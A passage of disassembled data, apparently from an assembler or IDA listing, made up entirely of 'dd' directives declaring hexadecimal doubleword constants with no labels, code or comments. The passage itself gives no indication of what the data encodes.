		dd 0B60337B4h, 0E68A254Bh, 8E34A087h, 0D01F00DEh, 91B2DAFEh
		dd 9B3C59E2h, 0F35C8040h, 7D7E160h, 41C800A2h, 8BE580F7h
		dd 6F00AF16h, 79EDCC8Eh, 0A5259Ah, 49C2BFDh, 0A691E878h
		dd 8054803Ch, 0C97F3844h, 7067AB57h, 3E72023Ch,	4C7C1685h
		dd 99D5B140h, 2E519500h, 2780556h, 0F8291C32h, 0B365CEF2h
		dd 0B5FA87A0h, 0B400F118h, 0C5C68B40h, 5E8C30h,	0ADDCD713h
		dd 0CA7841D2h, 1B39A7F2h, 34EE1F51h, 0B68F8600h, 187B5CCCh
		dd 10CD7E70h, 6A00C8E6h, 30232A59h, 0D15136h, 0FBF1AB41h
		dd 0FAE68790h, 7B4C8900h, 0B5D2BC2Dh, 61880034h, 6298E81Fh
		dd 0DF78C990h, 40F6CA18h, 3CB8A3D8h, 0B100CCF4h, 0EA65D45Eh
		dd 98C097D8h, 9634C0ABh, 0FD700067h, 5CC4896Dh,	0CC007D15h
		dd 0C05D0E3h, 2864D17Bh, 394A9D2h, 36D959A8h, 0C0A44350h
		dd 3A972866h, 8C818500h, 1027AF87h, 737400FCh, 4AC021E2h
		dd 6E0032F3h, 26D23B08h, 1F6B9AB0h, 18B3661Bh, 77910C8h
		dd 388F03Dh, 7D515E86h,	445DC961h, 0A22230h, 4F39C87Ch
		dd 0D9B186D5h, 888B7500h, 0AB8F4113h, 0DF20CFA9h, 7ACF2381h
		dd 1F7270E6h, 0B1199C63h, 0D275B879h, 583A3101h, 0DCBB3EB0h
		dd 0B4C22CFh, 0B17300B4h, 6C79F09Ah, 601BFE8Eh,	2E1A2859h
		dd 0F300AFFFh, 9351CA87h, 69A606h, 673E710Bh, 2A65AE88h
		dd 6064D63Eh, 0F90EBE70h, 98560191h, 2D85E5E7h,	12284001h
		dd 2F003308h, 2553EB5Eh, 0EC058Bh, 0F70C4E3Fh, 0BAE4D7Dh
		dd 9CA13801h, 7573C9FCh, 0BB8970h, 85E27766h, 8FF2496Ch
		dd 39C02203h, 0A0C16E8Dh, 0DC2ABEh, 9299F4Bh, 8F7827BCh
		dd 7BD413Eh, 5177068Ah,	0EA1139C1h, 789B72CCh, 6012E057h
		dd 28BE18A8h, 0F750DD40h, 0D730AFDAh, 0BB6A19EEh, 961101FBh
		dd 0EDFDC503h, 0B573F00Eh, 0F0B8762Ch, 6519EF16h, 0BF70A690h
		dd 1778C1F8h, 4C8FA4D4h, 8C00572Ch, 1A9E93F5h, 3AAD844h
		dd 0BE0ADB0Fh, 99033858h, 98873E18h, 0F9BDF82Eh, 0E591180Fh
		dd 0FCE1916Bh, 0DDFF1C1h
		dd 1980611Fh, 909B8341h, 70626A6Dh, 80264B20h, 85A60980h
		dd 985A6399h, 4100C032h, 10771CFAh, 792E0C3h, 0EDA61868h
		dd 0E6AAF005h, 0AC0061BDh, 42E34740h, 23524D4h,	57C2CEE7h
		dd 3E40977Fh, 1605ED02h, 58787009h, 20E22422h, 8957FF49h
		dd 0DF1A9A05h, 0D01F6097h, 0FA14D346h, 9BDC0688h, 0C92ABBDEh
		dd 8A500487h, 1001608Ch, 0FEFF5973h, 30834602h,	0E022C2D4h
		dd 7EDAB0h, 0A36B56E8h,	2D8BD514h, 1070500h, 1E711221h
		dd 89EA03E0h, 0F9183D86h, 4B77B280h, 0F9858h, 0C6061454h
		dd 9EB86Dh, 0ACD4A3CCh,	0D07136B9h, 5C2C4E75h, 6700EDD3h
		dd 0EA1F0517h, 7A91008Ch, 56B47866h, 18C03F1Eh,	0C5579274h
		dd 0C2DC0582h, 80448941h, 0A6241D67h, 0E440C400h, 53166D04h
		dd 0E5FB3843h, 70ACAB0Eh, 0C0D38065h, 0A85A5F27h, 5B42F300h
		dd 5C6A0F24h, 0F7A10040h, 81980792h, 0BC005952h, 8AE2D3F9h
		dd 95771Ah, 90B370EEh, 0F7920D80h, 46668601h, 2FA012C8h
		dd 0F2AE0060h, 0F08907D6h, 534014B4h, 4FB05DE4h, 0F614FB3Ah
		dd 0B83C57h, 0BDE1D6EBh, 304B91Dh, 0E2C8A78Dh, 0DDF87924h
		dd 0D90728C0h, 1AFA1F5Ch, 4E473330h, 63B30069h,	28DDAC44h
		dd 0A400C7E2h, 3079F7A7h, 19A92Eh, 0C376E4D3h, 618DB92Ah
		dd 4217EF00h, 15248C85h, 0D1BD009Eh, 0BFF48969h, 9D016190h
		dd 6521AB8Ah, 1180012Fh, 6B424CC0h, 0A100884Fh,	1737C385h
		dd 1DA920h, 2743EC76h, 88FC44E0h, 25553200h, 4B749508h
		dd 1B06007Bh, 18240E9h,	0BA003F6Bh, 0DD53FAA2h,	9C84950h
		dd 0C51271DBh, 0B600702Bh, 16EED227h, 420FDE79h, 6366BAABh
		dd 0D957C43Fh, 3D60F201h, 329200D6h, 6B51ED5Bh,	0AEF44766h
		dd 55F44Ch, 918DF0DCh, 10CB2Ah,	0AC6D444Ch, 0B43A2F7h
		dd 59048E03h, 90680738h, 0B7519Fh, 0B14B4FFBh, 0E196A88Dh
		dd 0C71D401h, 0F7065C2h, 0B861CCh, 89B514D5h, 0D41B4ABh
		dd 8012C0E4h, 8F0011DCh, 58E29C1Dh, 9009044Fh, 87A54A53h
		dd 0B065F03Ch, 7B1F0892h, 0BC1E04ECh, 1BEE383h,	0FAE00F0Ch
		dd 6B008F9Fh, 0F656DBB8h, 30129CA3h, 7800E8E0h,	481C31A9h
		dd 138428BCh, 5FB90994h, 6580A2D2h, 0AB1A4DE1h,	0E5728500h
		dd 7E90EDBAh, 3C320193h, 0F4BB0836h, 0B7E44364h, 0F6DF2FB8h
		dd 15580405h, 87C08EDDh, 74F192D2h, 0B5DC5CE9h,	0DE486304h
		dd 4E04C10Ah, 0BBABE4B0h, 0B04B3330h, 6E996Fh, 5E3BF8A3h
		dd 524A5F14h, 21220937h, 91A62BB0h, 0D59B3CB5h,	0EC00DD3Dh
		dd 0A7A3EDF3h, 0F1078A9Eh, 71E0F7C3h, 0E8B17C97h, 0F6E48688h
		dd 615B00CBh, 736D59B2h, 33799A84h, 8BD41F02h, 407E5798h
		dd 7C2BDBh, 322C926h, 8883C2F9h, 7FADD400h, 0A1B83B8Ch
		dd 6E2500BFh, 0E2353398h, 0C60F4179h, 802819E9h, 0E07260B9h
		dd 0ACA4388Eh, 1E2A4B01h, 41C28AE4h, 3A4868C3h,	478EAC00h
		dd 3E0A0Bh, 542C49BCh, 323DD54Dh, 9F2BED00h, 8074D1FDh
		dd 0FB350061h, 244F0CB8h, 0A09A1699h, 9A006576h, 0F2CD484h
		dd 202A37Ah, 7DCB1DA4h,	60FF309Fh, 3CDF75h, 689C4714h
		dd 1DB6BE3Dh, 0F907B2B8h, 56D1C64Ch, 72E0CED0h,	183900ACh
		dd 78E42073h, 0F2015B7Dh, 0CBE5E9D9h, 9A703771h, 0ED99003Fh
		dd 9AAF4E27h, 60071C3Bh, 0E2C70925h, 0FD280CD0h, 0D6A12CFCh
		dd 9B5D00AFh, 388E1CD2h, 68127400h, 76935279h, 0AE5E07E0h
		dd 35CE6C0Dh, 7E23C010h, 5B02501Dh, 0DD840704h,	0C04BE23Ah
		dd 3B4F49Bh, 11E8C33Bh,	76B07B0Ah, 5800C771h, 4A0F50A8h
		dd 3DF12F56h, 8A804FB2h, 64DEE4D8h, 0C4012D68h,	58293843h
		dd 0AFF8DDF3h, 94471DC8h, 2D4C4DEh, 0B7B0D02Ch,	0B10045C9h
		dd 8FA12541h, 20D114h, 4260BE36h, 0FD38A63Ah, 0CA393C71h
		dd 955C7C5Ah, 45EC6785h, 0B16D8E11h, 3DA499E8h,	7000982Bh
		dd 623B2FF4h, 80393D3h,	0C6A9B118h, 497798EEh, 0C8B70315h
		dd 64D0BDCFh, 3056A1D8h, 44EDCA0Fh, 58B00046h, 7F611ACh
		dd 9CCF6179h, 96DDC10Fh, 0F7D82034h, 4D293F20h,	5B001051h
		dd 0D37B0387h, 6331B9E0h, 47B62621h, 2B7064h, 7F5897F6h
		dd 59CB260Ah, 365DD20Dh, 0F1424996h, 0E34609Dh,	4EC91BAh
		dd 8C376CC2h, 0C89307A8h, 94D8E103h, 5960003Eh,	0CBFBC2D5h
		dd 6030E264h, 0A2E6B880h, 119400DBh, 5E16BD3Dh,	144CE71Fh
		dd 3A1B0034h, 98445DE0h, 71011409h, 0BB02B6E1h,	0DC07AD88h
		dd 0BC33E0C0h, 913D3E00h, 8404B895h, 0F4210F45h, 7E003515h
		dd 0C0B6B4B0h, 0D9CD7003h, 0F0E18063h, 0F53DCA7h, 37D23BC9h
		dd 0D7FD9280h, 7803B636h, 0CB968BBAh, 11C9B809h, 6E040599h
		dd 0C007B71Ah, 5D0D6A3Ch, 1EAA261Eh, 870B4187h,	59BC2009h
		dd 59E92FDDh, 570060CEh, 7A944911h, 0E9B0C625h,	143E58EAh
		dd 39FF804Ah, 0E688164Ch, 4C9280Ch, 2352894h, 9DCB0087h
		dd 2961CCFCh, 0A40186C7h, 0E51489F4h, 6C60F67Ah, 9D553ABFh
		dd 0F7119530h, 6E00028Dh, 70AB57C6h, 0F6019AF8h, 74DC0F04h
		dd 5804A63Dh, 143490B2h, 4E072CDFh, 0B5967D18h,	7921FF81h
		dd 0E5D820h, 7548E3DDh,	65C081CCh, 765CD300h, 77F41006h
		dd 0D051001Bh, 0A457EBF7h, 0B603F19Ch, 0E25F3D4h, 0A822A890h
		dd 21500779h, 8F012007h, 2CC038A0h, 8B001029h, 0E4977614h
		dd 39D8562h, 0A3445671h, 0B09FCF38h, 0D225AD5Fh, 12C3D00h
		dd 0A2368EDEh, 0AE52CEEh, 0D66201FEh, 286B11ABh, 0E0DB0048h
		dd 5F33C9F6h, 49757C9Ch, 0BDC04405h, 5B577156h,	833BCC00h
		dd 2173F365h, 84B2FDh, 922862Dh, 2427749Ch, 62168726h
		dd 685B1501h, 0DE820B9h, 4537391h, 0DD9C78C4h, 678C88EFh
		dd 0A100B09Bh, 0B32684Bh, 61796047h, 98AC7BE2h,	0B8B39324h
		dd 0A582D740h, 381492D6h, 0A72CF2CDh, 14EA00DCh, 6C06A027h
		dd 0E2400B0h, 2F0EEE16h, 449C00A9h, 9142A381h, 80AF00D4h
		dd 64C661Ah, 0E4FD1F00h, 0E204C263h, 3DF97AB7h,	0F80DFACh
		dd 0EBC88A0Ah, 0CE002B14h, 0C4F4AA25h, 60EA94FBh, 8BA510CFh
		dd 9B00433Dh, 87096A42h, 0B4E68Dh, 36C31F6Dh, 33E4E53Fh
		dd 528B4600h, 3D28D3D9h, 24B0E7Bh, 73C09E6Bh, 0D0B7541Dh
		dd 0EAF68500h, 79242AFAh, 0BC250066h, 9E67386Dh, 6509AE6Ah
		dd 804BFEFBh, 589CC480h, 0E3F80C74h, 3DA80B21h,	0A871111Dh
		dd 8CA467CAh, 772C1900h, 41A0D6Bh, 7B10AC59h, 4F20E05Eh
		dd 8C00E2E6h, 332363BFh, 3A9D6257h, 0B5A4D27Dh,	6C810010h
		dd 93CE9928h, 0CABBE600h, 6B9F68C7h, 18204872h,	0F084B71Dh
		dd 34F78A38h, 0FEEA6F13h, 0E1A77443h, 0DD71D89Bh, 2CF01FA9h
		dd 0AC7A425Dh, 0DCA0C18Eh, 0FB798C87h, 109C784Ch, 8D122A7Eh
		dd 0C6B00E3h, 0D4746AC0h, 73AACC00h, 0B69597E2h, 20440579h
		dd 5D77E65h, 0FC86F8h, 0AC49ECE4h, 0D0029666h, 34B6175Ch
		dd 0BF6848C7h, 0B4E348F0h, 12604A0Bh, 0CFE1F8AFh, 7636DD75h
		dd 0B47F26A8h, 646750h,	14B2F413h, 0A8889525h, 20B11703h
		dd 0B0DB1A08h, 0BCD859h, 755E916Fh, 0B4D688C8h,	0CD163F00h
		dd 0ACE50315h, 0C59000B1h, 0B8191E42h, 881784C9h, 0DB00D169h
		dd 0DD1D1AC8h, 43540223h, 79EA0181h, 0C32A9440h, 0D79DF000h
		dd 826A190h, 2A8A7014h,	0FC2206h, 9AD2A904h, 2DA7D35Fh
		dd 9600CAE6h, 0D71B2723h, 22C0897Dh, 0A0594D7Bh, 3B4B00A0h
		dd 0C571FCAh, 0AC114BB5h, 0BED3F86h, 168B20E3h,	74F88E74h
		dd 7FB0065h, 7F743580h
		dd 0F4A8B17Ah, 5006C11h, 150D5C1Eh, 0D295D6h, 71350672h
		dd 0D04F84FAh, 0E8B094B3h, 626EE8E0h, 0F3CEC81Bh, 81F8B8C3h
		dd 0D2493D98h, 0A8F60368h, 5A2422Ah, 65FFF711h,	88E076B1h
		dd 5E97B926h, 6E010528h, 47295819h, 3DCC593Bh, 0AE6805F4h
		dd 82C72414h, 51E08573h, 3B3B4FCFh, 0BCA7010Eh,	6EDC3A4Bh
		dd 3E7060h, 0A53FA4EEh,	791A377Dh, 20634130h, 7F11E3ABh
		dd 14AC01FFh, 0C58CA80Bh, 0D0CD4727h, 0C2F94F9Bh, 9ECFD400h
		dd 64EF0C40h, 0CDDC4C5Ah, 35FC0700h, 52241914h,	810548h
		dd 0F28F8C38h, 702E82h,	5BB6A31Ah, 7A025CA7h, 390069F2h
		dd 894A2BB4h, 719909h, 5AC38DCh, 2A5D734h, 3A536900h, 7F4521EDh
		dd 0A4BC00CFh, 2519F674h, 0E7B0D724h, 0C1F88605h, 4880ECC8h
		dd 18781E7h, 0F3785912h, 0D84AC380h, 26C74337h,	0CFD49F24h
		dd 0FC6F34F0h, 0EDEC3Eh, 0C793E5FBh, 0ADA9C1DBh, 22481900h
		dd 0A8C16D4h, 0C22B138Bh, 4BCD006Ah, 0CF49CBB6h, 129D9806h
		dd 168FDF3h, 47B7C51Ah,	0D8BE26FBh, 29008539h, 0E3C213BCh
		dd 123C21D7h, 0A4A05Ch,	8EAE2A14h, 149AD1D3h, 8D7896F0h
		dd 21444B30h, 20868E4Eh, 39009247h, 8296CD73h, 38265Ch
		dd 0DB1BC46Eh, 2D5108B0h, 8C69A13Fh, 51B522C2h,	868D06C6h
		dd 40ED32BFh, 8AF7BE3Fh, 3813503Dh, 376F8600h, 0AEA681h
		dd 2422BF79h, 0A161F33Ah, 9F9BAC0Ch, 0A4B8803h,	7568722Ah
		dd 85C08B9Ch, 633878A0h, 70015F8Dh, 269E747h, 71807FA3h
		dd 9367F5E1h, 6200462Ah, 33482263h, 0F4CFBAh, 2B98284Eh
		dd 0FBAD91AAh, 1B811900h, 0A7560AA4h, 88C50321h, 9E1DC943h
		dd 34E2B2CBh, 876DABE0h, 6FBABE03h, 0A072954Eh,	74A83B6Ch
		dd 0A14C0012h, 483692AEh, 1A5C77CAh, 0C1F30B3Fh, 0C57A80DFh
		dd 55C371h, 0B6DB4460h,	0B51B947Dh, 0AC00D370h,	41617248h
		dd 1730F2Dh, 0C14A96Bh,	8002D75Dh, 0FBE03DD1h, 98AB2AC0h
		dd 69150040h, 0A11BF22Ch, 0DCA0C7E1h, 0A6022202h, 6293040Ch
		dd 8998A308h, 0B13087E1h, 0DE63A2h, 7EBE385h, 1D20164Fh
		dd 0C3FD400h, 125EBE1Bh, 68B29E6h, 53E17FCh, 80D702C5h
		dd 546C05B4h, 0B109B00h, 0F9E8D42Dh, 3EDF19A5h,	0D891318Eh
		dd 871FC566h, 234B6F14h, 0AACA00BEh, 67E638h, 0BCD37B30h
		dd 0F10EED8Ch, 10510600h, 992AC3A2h, 498D603Fh,	0DE520564h
		dd 0E63F4A8h, 75DCA300h, 9A5C7B19h, 0E0859859h,	14F400D3h
		dd 560DBE70h, 3700F76Bh, 0E33AF342h, 3BCCA692h,	3480B9F4h
		dd 0F802AB6Ah, 91006730h, 3F3C1981h, 0E5A6B0h, 706C8CE8h
		dd 4BA30C13h, 0A2BBE41Dh, 20AAEF0Ch, 6C7100FAh,	722D7060h
		dd 1C036746h, 82F6637Ch, 0BB4ED0E9h, 0C054744Dh, 6E350550h
		dd 0D500DEC1h, 0D010831Ch, 0C0BE82CBh, 6ECDA821h, 0C790C5D9h
		dd 745A8A00h, 91CB0E25h, 168E8BBh, 30FA02B6h, 80278496h
		dd 45AC0339h, 4C21BB8Dh, 8B01615Dh, 0E5BF8134h,	67B6048h
		dd 53A46400h, 1D05CA91h, 0DDB70389h, 76F3D5A5h,	0D048C800h
		dd 27E4249Eh, 0BCFA0741h, 43EB9D04h, 2000A560h,	6A1495F0h
		dd 30EAA626h, 4E9006BEh, 58001EB2h, 0E6B58133h,	60820843h
		dd 71C678E7h, 0EE01AFC9h, 0B79A261h, 37D05099h,	0B520C091h
		dd 0A990468Dh, 0B8B13E2Ah, 5F67724h, 251BF000h,	0F846BD83h
		dd 61AA0090h, 0A2B77FE8h, 1806AD17h, 0F60DC43Dh, 55850BD8h
		dd 0E6004A9Dh, 0B237B059h, 0F400E4FCh, 75BEAD97h, 0C290EFh
		dd 1BE53A2Fh, 3FD53218h, 370021F6h, 81C1B74Ch, 2F546Eh
		dd 182A2DAFh, 0CEE67DAAh, 5807367Eh, 7FF7B9BAh,	916A607Eh
		dd 610B2h, 476233F1h, 0FA85B3CDh, 37005E98h, 0B8E7C00Eh
		dd 516E63h, 74230527h, 325E50AEh, 62047000h, 0CD58E11Bh
		dd 1273F24Dh, 6896709h,	3025925Fh, 970EB200h, 62598DBCh
		dd 8B9F0090h, 1F505E48h, 340201F4h, 0AF55E5B8h,	0DC19205Ch
		dd 0E200FBC1h, 0F94394Fh, 184E4813h, 0B02811D9h, 6701594Dh
		dd 0E72EE55Ch, 0D0FCE206h, 0AB401BCh, 0A7F8700Fh, 52B88002h
		dd 0A9142BD2h, 63A3092h, 0F15FA60h, 0B000CF4Fh,	560890DAh
		dd 196200B1h, 867424AAh, 2100DCABh, 0BBC0C830h,	50A9087h
		dd 3137CD62h, 888DC6E7h, 0F186F800h, 0F7B09CFAh, 82D907A7h
		dd 0D0AA53C1h, 7F7A2FCEh, 614D3900h, 2779ABC6h,	285D1DF0h
		dd 80D414Fh, 9FC15460h,	8DC626E8h, 582AA4h, 0DE5DE6Dh
		dd 2E58B8AEh, 24483Eh, 1BA5C9C1h, 0C69D9A0h, 59C6EC62h
		dd 781CBEC6h, 9C3BEE35h, 24006DE9h, 0B437F1E2h,	723CE2C2h
		dd 3FBC0174h, 0A529525h, 1A8C402Ch, 0F10C7AE8h,	11D4C608h
		dd 4004A5D1h, 19E6CA2Dh, 22000FF8h, 587AA1FDh, 5808C71Ch
		dd 650043B2h, 8057C58Eh, 0BB0F6A46h, 80F707D7h,	3E2B9E9h
		dd 0C78D1F94h, 0A8500066h, 0DD1FCB36h, 0D673E500h, 80793BD9h
		dd 31F40085h, 185CB52Ch, 0BD00DBF8h, 7F4A0F26h,	1F7DD57Bh
		dd 9A5AB4h, 0D99DD365h,	0B500A6CEh, 0E3702DE8h,	50E4282h
		dd 0A377AD2Ah, 401EC068h, 6D000224h, 0C967C013h, 0CF5661h
		dd 0C836A7D2h, 0ED6EFF1Bh, 382ED707h, 1007630h,	47C2DEh
		dd 0E0069812h, 0C53F62F9h, 561BAD00h, 1541C1E8h, 2EF40137h
		dd 0D3EAEB5Eh, 0A0AD20E0h, 0F831113Bh, 6AD6E201h, 0BC56B102h
		dd 0F2AB2E80h, 0B65192F5h, 3B0A6858h, 0DCCA00F7h, 0EDD957ADh
		dd 0E4260338h, 0D152670Ch, 325579D0h, 3F6E4400h, 8AD35B84h
		dd 2C732833h, 0FBEC00C8h, 7CA89415h, 950010C0h,	0D1577AD9h
		dd 0E2973CE8h, 0D5C0021h, 61A5686h, 2C00C2A5h, 41096953h
		dd 2849FBh, 16E9D67h, 0A551910Dh, 4A750B07h, 290CDD7h
		dd 371849Bh, 96532A05h,	69C095F3h, 0CA01A236h, 0C4AADB2Dh
		dd 142432FDh, 18E60077h, 5B3013Eh, 0C5006DA5h, 0FBC87567h
		dd 12435Dh, 5A067628h, 0A4BD2079h, 9035A300h, 0E00B3F51h
		dd 22200C0h, 0B9C20A65h, 3B0F80F5h, 8076A7AEh, 4F6E8B46h
		dd 7C9B000Eh, 6FE53C7Dh, 6814291Eh, 99E3BEh, 0FB84E97Ah
		dd 0D216Ah, 63809A2Eh, 887002F1h, 746CC26h, 2D225503h
		dd 4DFA981Ah, 0C95100C4h, 2647D1DCh, 7724F993h,	0F28E40D3h
		dd 0A0F80EE0h, 0C8869430h, 0B024604Fh, 6C0ADFFCh, 541DE3FCh
		dd 110339B7h, 33BAA1h, 520EAC20h, 2A50C156h, 222E6B07h
		dd 60D0B440h, 7C654D2h,	6DD855B2h, 2F5C804Eh, 6F094F53h
		dd 0D9CAEBh, 0FA3AACCCh, 6BE000FFh, 5EC2D3E8h, 0EA09DB55h
		dd 7F2FE5Ah, 44F01670h,	0C3473Fh, 7EECF938h, 52D169A4h
		dd 0AA0051FCh, 0BA1DC006h, 42DBFDh, 4C641FFAh, 0C5AD835Ch
		dd 29353C00h, 0E767D58Eh, 0F2C98E3h, 42239FDFh,	7945A881h
		dd 2500301Fh, 0F20D3F14h, 0C26F02E4h, 40E67699h, 0E52D18h
		dd 874D16EBh, 1D3B19E2h, 0DC4A6D00h, 11BEF354h,	0FA77ACh
		dd 0E99A3299h, 88A84731h, 0F2940350h, 5BB300Eh,	5ABEC057h
		dd 3039F004h, 67407B3Bh, 75017AF5h, 1597D30Dh, 0C77C86h
		dd 36B13038h, 7B50116h,	607BC302h, 92E41Eh, 312D8948h
		dd 7AD6B43Ch, 0B887D000h, 0CF102AA9h, 9882318Ch, 70B65328h
		dd 4401AF7Bh, 0FF59AB2Eh, 3EC852A6h, 90744CFDh,	0B7CC7383h
		dd 42A9DDC0h, 0F6023700h, 658AF0F5h, 0BA9C01C5h, 46DFA1D4h
		dd 0F33AF889h, 0A2853Bh, 0C03E5680h, 0BDD2C1h, 261A7C50h
		dd 9EA518Fh, 8596FD60h,	0CD1DAFh, 0B22E8975h, 9DE269ABh
		dd 0B5013EFEh
		dd 0D58D49Bh, 0AAFC8BA3h, 0F7120310h, 5A4ADB35h, 4F7EE8E0h
		dd 5D3BC500h, 6C21AF0h,	0A14D0045h, 0E38EC01Eh,	110031B8h
		dd 467C9D8Dh, 486575h, 19E4279h, 9808954Fh, 27CDD51Ch
		dd 980A26CFh, 501020h, 41A316D4h, 1BDA4369h, 0D102E978h
		dd 0A66F807Dh, 0A846047h, 11BF1652h, 0F5144390h, 8EB8B773h
		dd 940074DFh, 0A0D07C68h, 28FD5EE3h, 0A0BC4C91h, 382B1CCh
		dd 4A8F9B08h, 0C5F812B5h, 58481799h, 0E2750094h, 0D2411613h
		dd 0A32900B9h, 6F613E9Dh, 0DE00A048h, 93501AC3h, 3C1FAEh
		dd 92AFA62h, 148CB78Fh,	0CF3EF600h, 5EE0014Fh, 0BB7B1Dh
		dd 0A0EC7E89h, 98793DB9h, 0E21EF77Ah, 82C0F18Eh, 870621CAh
		dd 0BF4D007Fh, 84D91903h, 0C777847h, 81E4EE0Eh,	43A5C138h
		dd 78849027h, 0C039CE93h, 955A9BDh, 85B95339h, 0FB3058ECh
		dd 0CDAC8804h, 124ED181h, 0F97C60F6h, 4D9C006Dh, 77B53F5Ch
		dd 840204E9h, 163DAB58h, 0D44C400Fh, 3F2E0078h,	0DF5103D3h
		dd 0A0004B18h, 4FB0ED0Dh, 246DB50Ch, 5BF7BCh, 0B842117Fh
		dd 0EE14B9ABh, 0B07E3Dh, 8A304A63h, 3F6DDF0Ch, 200BC80h
		dd 1B01AA89h, 323F88E8h, 0ED0EF9BAh, 5EB12F51h,	0F9AF8A80h
		dd 703974D0h, 1E9E0054h, 0FED322BDh, 47005C60h,	0A813C4B5h
		dd 6E1DF2h, 71033E96h, 8D56C19Eh, 4EA7F300h, 274BAF5Dh
		dd 9F78B5B9h, 3078602h,	60100D8Fh, 33226Bh, 206AB64Ch
		dd 34387CB8h, 74F8E00Fh, 6809A052h, 0D13923h, 0B62C8B1Dh
		dd 97AD8A1Fh, 0A026781Eh, 755F6680h, 9CD86Eh, 0CF2D0B19h
		dd 517EE7D0h, 0A8AA3D01h, 1B790E78h, 0D61830h, 7A57AB26h
		dd 0BE37BF35h, 8E6BA028h, 4B836D00h, 0E24C7473h, 899414FEh
		dd 3B1EDC18h, 0C2678096h, 2D92166Ch, 1D4EBF00h,	1457ED2Ah
		dd 0C030EA2h, 47A0907Dh, 9702014Ch, 22B76500h, 5B2ACF72h
		dd 0DE310592h, 0F090E9h, 3CFBBEDEh, 341ECBC2h, 4840F1E4h
		dd 6D506759h, 61A83D69h, 0E0331195h, 7AAAF00h, 0B1DB680Ah
		dd 0CA204400h, 0A1C55C36h, 0B2F403h, 842537Dh, 0E95A4BFDh
		dd 6C008D70h, 0A83323BFh, 0FB98C55h, 0AA46D716h, 603931C7h
		dd 0C099A278h, 18063600h, 1587533Ch, 8C690066h,	0E69E67CEh
		dd 0FD0039EAh, 9CC47D30h, 1DEF5AEh, 0DFF8322h, 0C42BF98Fh
		dd 40B868A1h, 5E4FE800h, 472AEF84h, 2F20003Fh, 0D339B2C3h
		dd 650012DBh, 0C6964C51h, 0F7D56Dh, 0EDB178F9h,	304E95CEh
		dd 9DDB9200h, 77DBF17h,	506A0747h, 215E25E2h, 0C8E67323h
		dd 1B736154h, 106A525h,	479C0944h, 86CC34h, 384EF97Fh
		dd 0E9B47D87h, 0FB838206h, 70202698h, 4B2C0084h, 577E88C0h
		dd 41178767h, 19119h, 0AC2904Dh, 0D5AA3280h, 0BAC39550h
		dd 44943C01h, 4B4C129Bh, 3611A0DBh, 0ECB0317Fh,	0FB58A2FCh
		dd 0F16695E8h, 0A57B6102h, 0C815ABAEh, 1D304D18h, 0CB59988h
		dd 53B80728h, 0C058F503h, 39CD330Ah, 32001529h,	0CFAD9CACh
		dd 3400B656h, 4317934Eh, 28B40B75h, 7CBD11h, 0D351EEC1h
		dd 0DA99AF40h, 0B082281Fh, 4700571Ch, 38C806E8h, 1A7D39FCh
		dd 2827A803h, 0D5D06EF2h, 0F4008862h, 9AEBFDBh,	3B93A03Dh
		dd 0F0E2FAh, 0A6EAACD0h, 496B803h, 0AF243C00h, 344C8B60h
		dd 0CD520072h, 0FD373DB6h, 0B200E0ACh, 7DF50375h, 0FE54A47h
		dd 13F928E7h, 1905EC20h, 0CC00ABE9h, 5BEAB388h,	2ECF974Fh
		dd 80247549h, 7AE932A8h, 2CF11B02h, 0FC04423Ch,	5F931C6h
		dd 0C8581810h, 63BA341h, 24828015h, 0F93E75CFh,	74DD3EB8h
		dd 9380FFB9h, 0A954DBEAh, 451ED15Fh, 729F97E0h,	30FEA700h
		dd 0F25A75F1h, 0AEEC00F8h, 8313B7C6h, 5C1E2257h, 911CD2D9h
		dd 46D45140h, 0E63CC8h,	820D0CB1h, 13A9A6CBh, 3B0E2200h
		dd 0AF03FC75h, 90D439E8h, 14A55880h, 0FA80397Dh, 0E100127Bh
		dd 0D1326975h, 3C7C6h, 558DA14Eh, 36438CA4h, 5F87A301h
		dd 0DE9B68C4h, 9DC8C4h,	0AFBB6E39h, 8152201Ch, 84EC991Ch
		dd 26274C80h, 3F9665h, 591929FDh, 0A6036D1Bh, 8492AEE0h
		dd 78012C4Ah, 938CE6CBh, 9FEBC887h, 693CA3E3h, 0F24B97D8h
		dd 19AFD200h, 7C79BA23h, 0A1321DC6h, 10A9441Fh,	0D07493E0h
		dd 5C2006D8h, 35314A00h, 13925A1h, 28510017h, 3E227D7Ah
		dd 0DA5C87EDh, 75400008h, 4B6C13Ah, 0ECB0028h, 0B29CAE7Ch
		dd 0D11E4F85h, 2D874AE8h, 5A2026A4h, 7BBC79h, 0A67C2339h
		dd 6E6837AFh, 881F107Ah, 81C0F84Dh, 0ED062A86h,	2DFA3C3Ah
		dd 0EA71809h, 6D51D880h, 931C2E77h, 0E3074F11h,	0DDA072A1h
		dd 7B6685B7h, 0BB600F3h, 43AE99Bh, 0E600F641h, 81EC560Eh
		dd 0FF36C8h, 66891195h,	2129E110h, 57727E00h, 0CE5E6D79h
		dd 0FB0400D1h, 2384DDE5h, 5500808Eh, 2CC4FC78h,	3E92753h
		dd 88AB1252h, 0D0007154h, 0EF4B9DADh, 3E2034A8h, 408948EAh
		dd 7840D10Ah, 84E6D7h, 2EF1B90Fh, 0A51FA9FFh, 42676F09h
		dd 82880DAh, 301C5E21h,	435831A4h, 29587E4Ch, 7AF1006Fh
		dd 8DB38760h, 49B70068h, 6E893F0Dh, 0ED3CC89Eh,	171BF83h
		dd 0E21FA238h, 47708BB2h, 750E01CAh, 0FDB0A422h, 7479F866h
		dd 4B197000h, 0B2E1EE16h, 0A16F04B6h, 0D01427D3h, 17DD996Ch
		dd 0EF3AB707h, 2300BD7Fh, 7EADAA20h, 0CEF650h, 2A9FB594h
		dd 8029FEBFh, 608EAE6Eh, 0E08AD265h, 0B5CA0231h, 0CCC432A9h
		dd 18E64840h, 89720B00h, 0D16F4F57h, 0F8E948E2h, 0F8044048h
		dd 0C0150395h, 988766DBh, 0D29A6001h, 6BD05B17h, 0D5C68340h
		dd 6D3E0068h, 0CEE22220h, 8900CC9Ah, 0AC9813A0h, 2B9B1DFh
		dd 0F34829DCh, 986034DBh, 0B0005C5Dh, 7EAC530Eh, 597C11h
		dd 3EB9E9A5h, 0F8C1837Bh, 0A11E4F00h, 63DDEFF2h, 9FE0A012h
		dd 440B008Bh, 4E3A1BD6h, 5AFAF664h, 6DF04D1Dh, 0FE80D35Eh
		dd 5EE4A625h, 9C7500CDh, 3851A2D9h, 0AE02E9AAh,	36A0242Eh
		dd 0A0747856h, 1F905546h, 0C0E1D696h, 8E5DCD95h, 0A7009873h
		dd 6FE39725h, 276680h, 0CDF0500Eh, 489AB3BEh, 47287900h
		dd 0C393DE42h, 8E4E0001h, 9109BA55h, 0AB000ED0h, 31E78C4Bh
